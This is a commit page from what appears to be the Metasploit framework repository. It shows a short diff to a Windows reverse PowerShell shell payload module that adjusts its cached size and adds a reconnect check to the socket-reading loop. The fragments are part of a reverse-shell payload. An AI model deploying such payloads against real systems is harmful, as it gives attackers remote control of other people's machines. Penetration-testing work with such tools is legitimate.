We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
2 parents a7c8060 + 7895ba8 commit 5169341Copy full SHA for 5169341
modules/payloads/singles/cmd/windows/reverse_powershell.rb
@@ -11,7 +11,7 @@
11
12
module MetasploitModule
13
14
- CachedSize = 1204
+ CachedSize = 1228
15
16
include Msf::Payload::Single
17
include Msf::Sessions::CommandShellOptions
@@ -81,7 +81,8 @@ def command_string
81
"while (($i -gt 0) -and ($pos -lt $nb.Length)) {"\
82
"$r=$s.Read($nb,$pos,$nb.Length - $pos);"\
83
"$pos+=$r;"\
84
- "if ($pos -and ($nb[0..$($pos-1)] -contains 10)) {break}};"\
+ "if (-not $pos -or $pos -eq 0) {RSC};"\
85
+ "if ($nb[0..$($pos-1)] -contains 10) {break}};"\
86
"if ($pos -gt 0){"\
87
"$str=$e.GetString($nb,0,$pos);"\
88
"$is.write($str);start-sleep 1;"\
0 commit comments